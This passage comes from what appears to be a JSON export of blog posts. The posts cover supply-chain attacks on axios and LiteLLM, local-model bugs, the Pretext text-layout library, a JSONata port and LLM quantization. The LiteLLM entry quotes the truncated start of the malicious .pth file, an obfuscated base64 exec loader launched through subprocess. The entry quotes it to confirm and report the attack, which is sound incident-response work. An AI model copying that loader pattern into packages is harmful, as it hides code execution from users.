  "search_document": "'/2026/mar/24/malicious-litellm/)':142C '/axios/axios/issues/7055),':93C '/package/axios).':39C '0.30.4':43C '1.14.1':41C '101':33C 'a':46C,63C,75C,123C 'able':104C 'access':65C 'accompanying':116C 'actions':101C 'adopt':88C 'against':25C 'an':84C,115C 'and':42C,61C 'are':103C 'as':122C,143C 'attack':3A,24C,72C 'axios':5A,26C,82C 'both':44C 'called':49C 'came':73C 'chain':2A,16B,23C 'client':29C 'credentials':60C 'crypto':52C 'dependency':8A,48C 'downloads':36C 'ensure':96C 'for':126C,136C 'freshly':56C 'from':9A,74C 'github':100C,117C 'github.com':92C 'github.com/axios/axios/issues/7055),':91C 'have':83C 'heuristic':125C 'http':28C 'included':45C 'installing':62C 'issue':86C 'it':68C 'javascript':11B 'js':53C 'last':138C 'leaked':76C 'like':70C 'litellm':137C 'lived':79C 'lobste.rs':146C 'long':78C 'long-lived':77C 'looks':69C 'malicious':7A,129C 'malware':58C,110C 'me':121C 'million':34C 'new':47C 'npm':10A,13B,30C,80C,108C 'of':19C 'on':4A 'only':98C 'open':85C 'package':31C 'packages':111C 'pattern':133C 'plain':51C 'plain-crypto-js':50C 'potentially':128C 'present':135C 'publish':106C 'published':57C,113C 'publishing':90C 'pulls':6A 'rat':67C 'release':118C 'releases':130C 'remote':64C 's':21C 'same':132C 'security':12B 'simonwillison.net':141C 'simonwillison.net/2026/mar/24/malicious-litellm/)':140C 'socket.dev':145C 'spotting':127C 'stealing':59C 'strikes':120C 'supply':1A,15B,22C 'supply-chain':14B 'that':97C 'the':27C,71C,109C,131C 'their':99C 'to':87C,105C,107C 'today':20C 'token':81C 'trojan':66C 'trusted':89C 'useful':17C,124C 'versions':40C 'was':55C,134C 'week':139C 'weekly':35C 'well':144C 'were':112C 'which':54C,94C,119C 'with':32C 'without':114C 'workflows':102C 'would':95C 'writeup':18C 'www.npmjs.com':38C 'www.npmjs.com/package/axios).':37C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-30 21:31:02+00:00
{
  "id": 2129,
  "slug": "georgi-gerganov",
  "quotation": "Note that the main issues that people currently unknowingly face with local models mostly revolve around the harness and some intricacies around model chat templates and prompt construction. Sometimes there are even pure inference bugs. From typing the task in the client to the actual result, there is a long chain of components that atm are not only fragile - are also developed by different parties. So it's difficult to consolidate the entire stack and you have to keep in mind that what you are currently observing is with very high probability still broken in some subtle way along that chain.",
  "source": "Georgi Gerganov",
  "source_url": "https://twitter.com/ggerganov/status/2038674698809102599",
  "created": "2026-03-30T21:31:02+00:00",
  "metadata": {},
  "search_document": "'a':49A 'actual':45A 'agents':112B 'ai':102B,105B 'along':99A 'also':61A 'and':19A,26A,75A 'are':31A,56A,60A,85A 'around':16A,22A 'atm':55A 'broken':94A 'bugs':35A 'by':63A 'chain':51A,101A 'chat':24A 'client':42A 'coding':111B 'coding-agents':110B 'components':53A 'consolidate':71A 'construction':28A 'currently':8A,86A 'developed':62A 'different':64A 'difficult':69A 'entire':73A 'even':32A 'face':10A 'fragile':59A 'from':36A 'generative':104B 'generative-ai':103B 'georgi':114B,116C 'georgi-gerganov':113B 'gerganov':115B,117C 'harness':18A 'have':77A 'high':91A 'in':40A,80A,95A 'inference':34A 'intricacies':21A 'is':48A,88A 'issues':5A 'it':67A 'keep':79A 'llms':108B,109B 'local':12A,107B 'local-llms':106B 'long':50A 'main':4A 'mind':81A 'model':23A 'models':13A 'mostly':14A 'not':57A 'note':1A 'observing':87A 'of':52A 'only':58A 'parties':65A 'people':7A 'probability':92A 'prompt':27A 'pure':33A 'result':46A 'revolve':15A 's':68A 'so':66A 'some':20A,96A 'sometimes':29A 'stack':74A 'still':93A 'subtle':97A 'task':39A 'templates':25A 'that':2A,6A,54A,82A,100A 'the':3A,17A,38A,41A,44A,72A 'there':30A,47A 'to':43A,70A,78A 'typing':37A 'unknowingly':9A 'very':90A 'way':98A 'what':83A 'with':11A,89A 'you':76A,84A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "explaining why it's hard to find local models that work well with coding agents"
}
blogmark 2026-03-29 20:08:45+00:00
{
  "id": 9401,
  "slug": "pretext",
  "link_url": "https://github.com/chenglou/pretext",
  "link_title": "Pretext",
  "via_url": "https://twitter.com/_chenglou/status/2037713766205608234",
  "via_title": "@_chenglou",
  "commentary": "Exciting new browser library from Cheng Lou, previously a React core developer and the original creator of the [react-motion](https://github.com/chenglou/react-motion) animation library.\r\n\r\nPretext solves the problem of calculating the height of a paragraph of line-wrapped text *without touching the DOM*. The usual way of doing this is to render the text and measure its dimensions, but this is extremely expensive. Pretext uses an array of clever tricks to make this much, much faster, which enables all sorts of new text rendering effects in browser applications.\r\n\r\nHere's [one demo](https://chenglou.me/pretext/dynamic-layout/) that shows the kind of things this makes possible:\r\n\r\n<video autoplay loop muted playsinline\r\n  poster=\"https://static.simonwillison.net/static/2026/pretex.jpg\">\r\n  <source src=\"https://static.simonwillison.net/static/2026/pretex.mp4\" type=\"video/mp4\">\r\n</video>\r\n\r\nThe key to how this works is the way it separates calculations into a call to a `prepare()` function followed by multiple calls to `layout()`.\r\n\r\nThe `prepare()` function splits the input text into segments (effectively words, but it can take things like soft hyphens and non-latin character sequences and emoji into account as well) and measures those using an off-screen canvas, then caches the results. This is comparatively expensive but only runs once.\r\n\r\nThe `layout()` function can then emulate the word-wrapping logic in browsers to figure out how many wrapped lines the text will occupy at a specified width and measure the overall height.\r\n\r\nI [had Claude](https://claude.ai/share/7859cbe1-1350-4341-bb40-6aa241d6a1fe) build me [this interactive artifact](https://tools.simonwillison.net/pretext-explainer) to help me visually understand what's going on, based on a simplified version of Pretext itself.\r\n\r\nThe way this is tested is particularly impressive. The earlier tests [rendered a full copy of the Great Gatsby](https://github.com/chenglou/pretext/commit/d07dd7a5008726f99a15cebe0abd9031022e28ef#diff-835c37ed3b9234ed4d90c7703addb8e47f4fee6d9a28481314afd15ac472f8d2) in multiple browsers to confirm that the estimated measurements were correct against a large volume of text. This was later joined by [the corpora/ folder](https://github.com/chenglou/pretext/tree/main/corpora) using the same technique against lengthy public domain documents in Thai, Chinese, Korean, Japanese, Arabic, and more.\r\n\r\nCheng Lou [says](https://twitter.com/_chenglou/status/2037715226838343871):\r\n\r\n> The engine\u2019s tiny (few kbs), aware of browser quirks, supports all the languages you\u2019ll need, including Korean mixed with RTL Arabic and platform-specific emojis\r\n> \r\n> This was achieved through showing Claude Code and Codex the browsers ground truth, and have them measure & iterate against those at every significant container width, running over weeks",
  "created": "2026-03-29T20:08:45+00:00",
  "metadata": {},
  "search_document": "'/_chenglou/status/2037715226838343871):':328C '/chenglou/pretext/commit/d07dd7a5008726f99a15cebe0abd9031022e28ef#diff-835c37ed3b9234ed4d90c7703addb8e47f4fee6d9a28481314afd15ac472f8d2)':277C '/chenglou/pretext/tree/main/corpora)':305C '/chenglou/react-motion)':31C '/pretext-explainer)':238C '/pretext/dynamic-layout/)':105C '/share/7859cbe1-1350-4341-bb40-6aa241d6a1fe)':230C 'a':16C,43C,128C,131C,217C,250C,268C,290C 'account':168C 'achieved':359C 'against':289C,310C,375C 'all':89C,340C 'an':76C,175C 'and':20C,65C,159C,165C,171C,220C,321C,352C,364C,370C 'animation':32C 'applications':98C 'arabic':320C,351C 'array':77C 'artifact':235C 'as':169C 'at':216C,377C 'aware':335C 'based':248C 'browser':10C,97C,337C 'browsers':2B,204C,280C,367C 'build':231C 'but':69C,151C,188C 'by':135C,299C 'caches':181C 'calculating':39C 'calculations':126C 'call':129C 'calls':137C 'can':153C,195C 'canvas':179C 'character':163C 'cheng':13C,323C 'chenglou':386C 'chenglou.me':104C 'chenglou.me/pretext/dynamic-layout/)':103C 'chinese':317C 'claude':227C,362C 'claude.ai':229C 'claude.ai/share/7859cbe1-1350-4341-bb40-6aa241d6a1fe)':228C 'clever':79C 'code':363C 'codex':365C 'comparatively':186C 'confirm':282C 'container':380C 'copy':270C 'core':18C 'corpora':301C 'correct':288C 'creator':23C 'css':3B 'demo':102C 'developer':19C 'dimensions':68C 'documents':314C 'doing':58C 'dom':53C 'domain':313C 'earlier':265C 'effectively':149C 'effects':95C 'emoji':166C 'emojis':356C 'emulate':197C 'enables':88C 'engine':330C 'estimated':285C 'every':378C 'exciting':8C 'expensive':73C,187C 'extremely':72C 'faster':86C 'few':333C 'figure':206C 'folder':302C 'followed':134C 'from':12C 'full':269C 'function':133C,142C,194C 'gatsby':274C 'github.com':30C,276C,304C,385C 'github.com/chenglou/pretext/commit/d07dd7a5008726f99a15cebe0abd9031022e28ef#diff-835c37ed3b9234ed4d90c7703addb8e47f4fee6d9a28481314afd15ac472f8d2)':275C 'github.com/chenglou/pretext/tree/main/corpora)':303C 'github.com/chenglou/react-motion)':29C 'going':246C 'great':273C 'ground':368C 'had':226C 'have':371C 'height':41C,224C 'help':240C 'here':99C 'how':118C,208C 'hyphens':158C 'i':225C 'impressive':263C 'in':96C,203C,278C,315C 'including':346C 'input':145C 'interactive':234C 'into':127C,147C,167C 'is':60C,71C,121C,185C,259C,261C 'it':124C,152C 'iterate':374C 'its':67C 'itself':255C 'japanese':319C 'javascript':4B 'joined':298C 'kbs':334C 'key':116C 'kind':109C 'korean':318C,347C 'languages':342C 'large':291C 'later':297C 'latin':162C 'layout':139C,193C 'lengthy':311C 'library':11C,33C 'like':156C 'line':47C 'line-wrapped':46C 'lines':211C 'll':344C 'logic':202C 'lou':14C,324C 'make':82C 'makes':113C 'many':209C 'me':232C,241C 'measure':66C,221C,373C 'measurements':286C 'measures':172C 'mixed':348C 'more':322C 'motion':28C 'much':84C,85C 'multiple':136C,279C 'need':345C 'new':9C,92C 'non':161C 'non-latin':160C 'occupy':215C 'of':24C,38C,42C,45C,57C,78C,91C,110C,253C,271C,293C,336C 'off':177C 'off-screen':176C 'on':247C,249C 'once':191C 'one':101C 'only':189C 'original':22C 'out':207C 'over':383C 'overall':223C 'paragraph':44C 'particularly':262C 'platform':354C 'platform-specific':353C 'possible':114C 'prepare':132C,141C 'pretext':1A,34C,74C,254C 'previously':15C 'problem':37C 'public':312C 'quirks':338C 'react':6B,17C,27C 'react-motion':26C 'render':62C 'rendered':267C 'rendering':94C 'results':183C 'rtl':350C 'running':382C 'runs':190C 's':100C,245C,331C 'same':308C 'says':325C 'screen':178C 'segments':148C 'separates':125C 'sequences':164C 'showing':361C 'shows':107C 'significant':379C 'simplified':251C 'soft':157C 'solves':35C 'sorts':90C 'specific':355C 'specified':218C 'splits':143C 'supports':339C 'take':154C 'technique':309C 'tested':260C 'testing':5B 'tests':266C 'text':49C,64C,93C,146C,213C,294C 'thai':316C 'that':106C,283C 'the':21C,25C,36C,40C,52C,54C,63C,108C,115C,122C,140C,144C,182C,192C,198C,212C,222C,256C,264C,272C,284C,300C,307C,329C,341C,366C 'them':372C 'then':180C,196C 'things':111C,155C 'this':59C,70C,83C,112C,119C,184C,233C,258C,295C,357C 'those':173C,376C 'through':360C 'tiny':332C 'to':61C,81C,117C,130C,138C,205C,239C,281C 'tools.simonwillison.net':237C 'tools.simonwillison.net/pretext-explainer)':236C 'touching':51C 'tricks':80C 'truth':369C 'twitter.com':327C 'twitter.com/_chenglou/status/2037715226838343871):':326C 'typescript':7B 'understand':243C 'uses':75C 'using':174C,306C 'usual':55C 'version':252C 'visually':242C 'volume':292C 'was':296C,358C 'way':56C,123C,257C 'weeks':384C 'well':170C 'were':287C 'what':244C 'which':87C 'width':219C,381C 'will':214C 'with':349C 'without':50C 'word':200C 'word-wrapping':199C 'words':150C 'works':120C 'wrapped':48C,210C 'wrapping':201C 'you':343C",
  "import_ref": null,
  "card_image": "https://static.simonwillison.net/static/2026/pretex.jpg",
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
quotation 2026-03-28 12:04:26+00:00
{
  "id": 2128,
  "slug": "matt-webb",
  "quotation": "The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it\u2019ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...]\r\n\r\nBut we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better.\r\n\r\nSo at the bottom is really great libraries that encapsulate hard problems, with great interfaces that make the \u201cright\u201d way the easy way for developers building apps with them. Architecture!\r\n\r\nWhile I\u2019m vibing (I call it vibing now, not coding and not vibe coding) while I\u2019m vibing, I am looking at lines of code less than ever before, and thinking about architecture more than ever before.",
  "source": "Matt Webb",
  "source_url": "https://interconnected.org/home/2026/03/28/architecture",
  "created": "2026-03-28T12:04:26+00:00",
  "metadata": {},
  "search_document": "'a':16A,19A,35A,58A 'about':3A,142A 'adaptive':64A 'addition':74A 'agent':15A 'agentic':4A,168B 'agentic-engineering':167B 'agents':8A,50A,166B 'ai':49A,152B,155B,158B 'ai-assisted-programming':157B 'am':130A 'an':14A 'and':18A,22A,38A,56A,63A,65A,71A,121A,140A 'apps':106A 'architecture':109A,143A 'assisted':159B 'at':81A,132A 'before':139A,147A 'benefiting':67A 'better':79A 'bottom':83A 'building':105A 'burning':34A 'but':46A 'call':115A 'code':135A 'coding':5A,53A,120A,124A,163B,165B 'coding-agents':164B 'composable':66A 'definitions':148B 'developers':104A 'down':42A 'dust':12A 'easy':101A 'elsewhere':70A 'encapsulate':89A 'engineering':169B 'even':30A 'ever':138A,146A 'every':73A 'for':103A 'from':68A 'generative':154B 'generative-ai':153B 'give':13A 'great':86A,93A 'grind':9A 'hard':90A 'i':111A,114A,126A,129A 'if':31A 'improvements':69A 'in':57A 'interfaces':94A 'into':11A 'is':6A,61A,84A 'it':25A,32A,116A 'less':136A 'libraries':87A 'lines':133A 'll':26A 'llms':156B 'long':23A 'looking':131A 'loop':21A 'm':112A,127A 'maintainable':62A 'make':96A 'makes':75A 'matt':150B,170C 'matt-webb':149B 'means':33A 'more':144A 'not':119A,122A 'now':118A 'of':134A 'problem':17A,29A 'problems':10A,54A,91A 'programming':160B 'quickly':55A 're':40A 're-writing':39A 'really':85A 'right':98A 'silicon':45A 'so':80A 'solve':27A,52A 'stack':78A 'term':24A 'than':137A,145A 'that':7A,28A,60A,88A,95A 'the':1A,44A,76A,82A,97A,100A 'them':108A 'thing':2A 'thinking':141A 'to':43A,51A 'tokens':37A 'trillion':36A 'vibe':123A,162B 'vibe-coding':161B 'vibing':113A,117A,128A 'want':48A 'way':59A,99A,102A 'we':47A 'webb':151B,171C 'where':72A 'while':20A,110A,125A 'whole':77A 'with':92A,107A 'writing':41A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "An appreciation for (technical) architecture"
}
quotation 2026-03-27 21:11:17+00:00
{
  "id": 2127,
  "slug": "richard-fontana",
  "quotation": "FWIW, IANDBL, TINLA, etc., I don\u2019t currently see any basis for concluding that chardet 7.0.0 is required to be released under the LGPL. AFAIK no one including Mark Pilgrim has identified persistence of copyrightable expressive material from earlier versions in 7.0.0 nor has anyone articulated some viable alternate theory of license violation. [...]",
  "source": "Richard Fontana",
  "source_url": "https://github.com/chardet/chardet/issues/334#issuecomment-4098524555",
  "created": "2026-03-27T21:11:17+00:00",
  "metadata": {},
  "search_document": "'7.0.0':16A,42A 'afaik':25A 'ai':57B,60B,63B,67B 'ai-assisted-programming':62B 'ai-ethics':66B 'alternate':49A 'any':10A 'anyone':45A 'articulated':46A 'assisted':64B 'basis':11A 'be':20A 'chardet':15A 'concluding':13A 'copyrightable':35A 'currently':8A 'don':6A 'earlier':39A 'etc':4A 'ethics':68B 'expressive':36A 'fontana':70C 'for':12A 'from':38A 'fwiw':1A 'generative':59B 'generative-ai':58B 'has':31A,44A 'i':5A 'iandbl':2A 'identified':32A 'in':41A 'including':28A 'is':17A 'lgpl':24A 'license':52A 'llms':61B 'mark':29A 'material':37A 'no':26A 'nor':43A 'of':34A,51A 'one':27A 'open':55B 'open-source':54B 'persistence':33A 'pilgrim':30A 'programming':65B 'released':21A 'required':18A 'richard':69C 'see':9A 'some':47A 'source':56B 't':7A 'that':14A 'the':23A 'theory':50A 'tinla':3A 'to':19A 'under':22A 'versions':40A 'viable':48A 'violation':53A",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "is_draft": false,
  "context": "LGPLv3 co-author, weighing in on the [chardet relicensing situation](https://simonwillison.net/2026/Mar/5/chardet/)"
}
blogmark 2026-03-27 00:35:01+00:00
{
  "id": 9400,
  "slug": "vine-porting-jsonata",
  "link_url": "https://www.reco.ai/blog/we-rewrote-jsonata-with-ai",
  "link_title": "We Rewrote JSONata with AI in a Day, Saved $500K/Year",
  "via_url": null,
  "via_title": null,
  "commentary": "Bit of a hyperbolic framing but this looks like another case study of **vibe porting**, this time spinning up a new custom Go implementation of the [JSONata](https://jsonata.org) JSON expression language - similar in focus to jq, and heavily associated with the [Node-RED](https://nodered.org) platform.\r\n\r\nAs with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.\r\n\r\nThe Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.",
  "created": "2026-03-27T00:35:01+00:00",
  "metadata": {},
  "search_document": "'400':99C '500k/year':10A '7':96C 'a':7A,26C,43C,108C,112C 'agentic':19B 'agentic-engineering':18B 'ai':5A,13B,16B 'and':60C,98C,118C 'another':33C 'as':70C 'associated':62C 'behavior':131C 'bit':24C 'build':89C 'but':29C 'case':34C 'confirm':124C 'custom':45C 'day':8A 'deployment':110C 'enabling':79C 'engineering':20B 'exactly':128C 'existing':84C 'expression':53C 'factor':80C 'first':91C 'focus':57C 'for':111C 'framing':28C 'generative':15B 'generative-ai':14B 'go':11B,46C,93C 'heavily':61C 'helped':88C 'hours':97C 'hyperbolic':27C 'implementation':47C,127C 'in':6A,56C,95C,121C 'jq':59C 'json':12B,52C 'jsonata':3A,50C,82C 'jsonata.org':51C 'key':78C 'language':54C 'like':32C 'llms':17B 'looks':31C 'matched':129C 'new':44C,117C,126C 'node':66C 'node-red':65C 'nodered.org':68C 'of':25C,36C,48C,100C,132C 'old':119C,134C 'one':135C 'other':72C 'parallel':122C 'platform':69C 'porting':23B,38C,75C 'projects':76C 'reco':104C 'red':67C 'rewrote':2A 'run':115C 's':83C 'saved':9A 'shadow':109C 'similar':55C 'spend':102C 'spinning':41C 'study':35C 'suite':86C 'team':105C 'test':85C 'the':49C,64C,77C,90C,103C,116C,125C,130C,133C 'then':106C 'this':30C,39C 'time':40C 'to':58C,114C,123C 'token':101C 'up':42C 'used':107C 'version':94C 'versions':120C 'vibe':22B,37C,74C 'vibe-porting':21B,73C 'was':81C 'we':1A 'week':113C 'which':87C 'with':4A,63C,71C 'working':92C 'www.reco.ai':136C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-26 23:58:22+00:00
{
  "id": 9399,
  "slug": "response-to-the-litellm-malware-attack",
  "link_url": "https://futuresearch.ai/blog/litellm-attack-transcript/",
  "link_title": "My minute-by-minute response to the LiteLLM malware attack",
  "via_url": "https://news.ycombinator.com/item?id=47531967",
  "via_title": "Hacker News",
  "commentary": "Callum McMahon reported the [LiteLLM malware attack](https://simonwillison.net/2026/Mar/24/malicious-litellm/) to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:\r\n\r\n> **Confirmed**. Fresh download from PyPI right now in an isolated Docker container:\r\n>\r\n>     Inspecting: litellm-1.82.8-py3-none-any.whl\r\n>     FOUND: litellm_init.pth\r\n>     SIZE: 34628 bytes\r\n>     FIRST 200 CHARS:\r\n>     import os, subprocess, sys; subprocess.Popen([sys.executable, \"-c\", \"import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...\r\n> \r\n> The malicious `litellm==1.82.8` is **live on PyPI right now** and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.\r\n\r\nI was chuffed to see Callum use my [claude-code-transcripts](https://github.com/simonw/claude-code-transcripts) tool to publish the transcript of the conversation.",
  "created": "2026-03-26T23:58:22+00:00",
  "metadata": {},
  "search_document": "'/2026/mar/24/malicious-litellm/)':36C '/simonw/claude-code-transcripts)':152C '1.82.8':114C '200':97C '34628':94C 'a':74C 'about':58C 'address':67C 'after':68C 'ai':14B,17B,24B 'ai-security-research':23B 'an':85C 'and':53C,121C 'anyone':122C 'attack':11A,33C 'aw1wb3j0ihn1ynbyb2nlc3mkaw1wb3j0ihrlbxbmawxl':110C 'base64':107C 'base64.b64decode':109C 'be':128C,133C 'by':4A 'bytes':95C 'c':105C 'callum':27C,143C 'chain':22B 'chars':98C 'chuffed':140C 'claude':19B,43C,60C,147C 'claude-code-transcripts':146C 'code':72C,148C 'confirm':50C 'confirmed':77C 'confirming':69C 'contact':66C 'container':76C,88C 'conversation':160C 'decide':54C 'do':57C 'docker':75C,87C 'download':79C 'even':61C 'exec':108C 'first':96C 'found':91C 'fresh':78C 'from':80C 'futuresearch.ai':161C 'generative':16B 'generative-ai':15B 'github.com':151C 'github.com/simonw/claude-code-transcripts)':150C 'hacker':162C 'he':40C,45C 'help':48C 'here':39C 'him':49C 'i':138C 'immediately':137C 'import':99C,106C 'in':73C,84C 'infected':129C 'inspecting':89C 'installing':123C 'is':115C 'isolated':86C 'it':59C 'litellm':9A,31C,113C,126C 'litellm-1.82.8-py3-none-any.whl':90C 'litellm_init.pth':92C 'live':116C 'llms':18B 'malicious':71C,112C 'malware':10A,32C 'mcmahon':28C 'minute':3A,5A 'minute-by-minute':2A 'my':1A,145C 'needs':131C 'news':163C 'now':83C,120C 'of':158C 'on':117C 'or':124C 'os':100C 'publish':155C 'pypi':12B,38C,64C,81C,118C 'reported':29C,134C 'research':26B 'response':6A 'right':82C,119C 'security':13B,25B,65C 'security@pypi.org':136C 'see':142C 'shares':41C 'simonwillison.net':35C 'simonwillison.net/2026/mar/24/malicious-litellm/)':34C 'size':93C 'subprocess':101C 'subprocess.popen':103C 'suggested':62C 'supply':21B 'supply-chain':20B 'sys':102C 'sys.executable':104C 'the':8A,30C,42C,51C,63C,70C,111C,156C,159C 'this':130C 'to':7A,37C,47C,56C,132C,135C,141C,154C 'tool':153C 'transcript':157C 'transcripts':44C,149C 'upgrading':125C 'use':144C 'used':46C 'vulnerability':52C 'was':139C 'what':55C 'will':127C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-26 16:21:09+00:00
{
  "id": 9397,
  "slug": "quantization-from-the-ground-up",
  "link_url": "https://ngrok.com/blog/quantization",
  "link_title": "Quantization from the ground up",
  "via_url": null,
  "via_title": null,
  "commentary": "Sam Rose continues [his streak](https://simonwillison.net/tags/sam-rose/) of publishing spectacularly informative interactive essays, this time explaining how quantization of Large Language Models works (which he says might be \"[the best post I've ever made](https://twitter.com/samwhoo/status/2036845101561835968)\".)\r\n\r\nAlso included is the best visual explanation I've ever seen of how floating point numbers are represented using binary digits.\r\n\r\n![Screenshot of an interactive float32 binary representation tool showing the value -48.92364502, with color-coded bit fields labeled S (sign), EXPONENT (blue), and SIGNIFICAND (pink), displaying the 32-bit pattern 11000010010000111101100001110100000, and a slider control at the bottom along with minus, plus, and reset buttons.](https://static.simonwillison.net/static/2026/float.jpg)\r\n\r\nI hadn't heard about **outlier values** in quantization - rare float values that exist outside of the normal tiny-value distribution - but apparently they're very important:\r\n\r\n> Why do these outliers exist? [...] tl;dr: no one conclusively knows, but a small fraction of these outliers are *very* important to model quality. Removing even a *single* \"super weight,\" as Apple calls them, can cause the model to output complete gibberish.\r\n>\r\n> Given their importance, real-world quantization schemes sometimes do extra work to preserve these outliers. They might do this by not quantizing them at all, or by saving their location and value into a separate table, then removing them so that their block isn't destroyed.\r\n\r\nPlus there's a section on [How much does quantization affect model accuracy?](https://ngrok.com/blog/quantization#how-much-does-quantization-affect-model-accuracy). Sam explains the concepts of **perplexity** and ** KL divergence ** and then uses the [llama.cpp perplexity tool](https://github.com/ggml-org/llama.cpp/tree/master/tools/perplexity) and a run of the GPQA benchmark to show how different quantization levels affect Qwen 3.5 9B.\r\n\r\nHis conclusion:\r\n\r\n> It looks like 16-bit to 8-bit carries almost no quality penalty. 16-bit to 4-bit is more noticeable, but it's certainly not a quarter as good as the original. Closer to 90%, depending on how you want to measure it.",
  "created": "2026-03-26T16:21:09+00:00",
  "metadata": {},
  "search_document": "'-48.92364502':90C '/blog/quantization#how-much-does-quantization-affect-model-accuracy).':260C '/ggml-org/llama.cpp/tree/master/tools/perplexity)':279C '/samwhoo/status/2036845101561835968)':57C '/static/2026/float.jpg)':127C '/tags/sam-rose/)':26C '11000010010000111101100001110100000':110C '16':302C,312C '3.5':295C '32':107C '4':315C '8':305C '90':334C '9b':296C 'a':112C,168C,182C,232C,248C,281C,325C 'about':132C 'accuracy':257C 'affect':255C,293C 'ai':9B,13B 'all':223C 'almost':308C 'along':118C 'also':58C 'an':81C 'and':102C,111C,122C,229C,267C,270C,280C 'apparently':151C 'apple':187C 'are':74C,174C 'as':186C,327C,329C 'at':115C,222C 'be':47C 'benchmark':286C 'best':49C,62C 'binary':77C,84C 'bit':95C,108C,303C,306C,313C,316C 'block':241C 'blue':101C 'bottom':117C 'but':150C,167C,320C 'buttons':124C 'by':218C,225C 'calls':188C 'can':190C 'carries':307C 'cause':191C 'certainly':323C 'closer':332C 'coded':94C 'color':93C 'color-coded':92C 'complete':196C 'computer':7B 'computer-science':6B 'concepts':264C 'conclusion':298C 'conclusively':165C 'continues':21C 'control':114C 'depending':335C 'destroyed':244C 'different':290C 'digits':78C 'displaying':105C 'distribution':149C 'divergence':269C 'do':157C,207C,216C 'does':253C 'dr':162C 'essays':32C 'even':181C 'ever':53C,67C 'exist':141C,160C 'explaining':35C 'explains':262C 'explanation':64C 'explorables':10B 'exponent':100C 'extra':208C 'fields':96C 'float':138C 'float32':83C 'floating':71C 'fraction':170C 'from':2A 'generative':12B 'generative-ai':11B 'gibberish':197C 'github.com':278C 'github.com/ggml-org/llama.cpp/tree/master/tools/perplexity)':277C 'given':198C 'good':328C 'gpqa':285C 'ground':4A 'hadn':129C 'he':44C 'heard':131C 'his':22C,297C 'how':36C,70C,251C,289C,337C 'i':51C,65C,128C 'importance':200C 'important':155C,176C 'in':135C 'included':59C 'informative':30C 'interactive':31C,82C 'into':231C 'is':60C,317C 'isn':242C 'it':299C,321C,342C 'kl':268C 'knows':166C 'labeled':97C 'language':40C 'large':39C 'levels':292C 'like':301C 'llama.cpp':274C 'llms':14B 'location':228C 'looks':300C 'made':54C 'measure':341C 'might':46C,215C 'minus':120C 'model':178C,193C,256C 'models':41C 'more':318C 'much':252C 'ngrok.com':259C,343C 'ngrok.com/blog/quantization#how-much-does-quantization-affect-model-accuracy).':258C 'no':163C,309C 'normal':145C 'not':219C,324C 'noticeable':319C 'numbers':73C 'of':27C,38C,69C,80C,143C,171C,265C,283C 'on':250C,336C 'one':164C 'or':224C 'original':331C 'outlier':133C 'outliers':159C,173C,213C 'output':195C 'outside':142C 'pattern':109C 'penalty':311C 'perplexity':266C,275C 'pink':104C 'plus':121C,245C 'point':72C 'post':50C 'preserve':211C 'publishing':28C 'quality':179C,310C 'quantization':1A,37C,136C,204C,254C,291C 'quantizing':220C 'quarter':326C 'qwen':18B,294C 'rare':137C 're':153C 'real':202C 'real-world':201C 'removing':180C,236C 'representation':85C 'represented':75C 'reset':123C 'rose':17B,20C 'run':282C 's':98C,247C,322C 'sam':16B,19C,261C 'sam-rose':15B 'saving':226C 'says':45C 'schemes':205C 'science':8B 'screenshot':79C 'section':249C 'seen':68C 'separate':233C 'show':288C 'showing':87C 'sign':99C 'significand':103C 'simonwillison.net':25C 'simonwillison.net/tags/sam-rose/)':24C 'single':183C 'slider':113C 'small':169C 'so':238C 'sometimes':206C 'spectacularly':29C 'static.simonwillison.net':126C 'static.simonwillison.net/static/2026/float.jpg)':125C 'streak':23C 'super':184C 't':130C,243C 'table':234C 'that':140C,239C 'the':3A,48C,61C,88C,106C,116C,144C,192C,263C,273C,284C,330C 'their':199C,227C,240C 'them':189C,221C,237C 'then':235C,271C 'there':246C 'these':158C,172C,212C 'they':152C,214C 'this':33C,217C 'time':34C 'tiny':147C 'tiny-value':146C 'tl':161C 'to':177C,194C,210C,287C,304C,314C,333C,340C 'tool':86C,276C 'twitter.com':56C 'twitter.com/samwhoo/status/2036845101561835968)':55C 'up':5A 'uses':272C 'using':76C 'value':89C,148C,230C 'values':134C,139C 've':52C,66C 'very':154C,175C 'visual':63C 'want':339C 'weight':185C 'which':43C 'why':156C 'with':91C,119C 'work':209C 'works':42C 'world':203C 'you':338C",
  "import_ref": null,
  "card_image": null,
  "series_id": null,
  "use_markdown": true,
  "is_draft": false,
  "title": ""
}
blogmark 2026-03-25 21:47:17+00:00
{
  "id": 9396,
  "slug": "thoughts-on-slowing-the-fuck-down",
  "link_url": "https://news.ycombinator.com/item?id=47517539",
  "link_title": "Thoughts on slowing the fuck down",
  "via_url": null,
  "via_title": null,
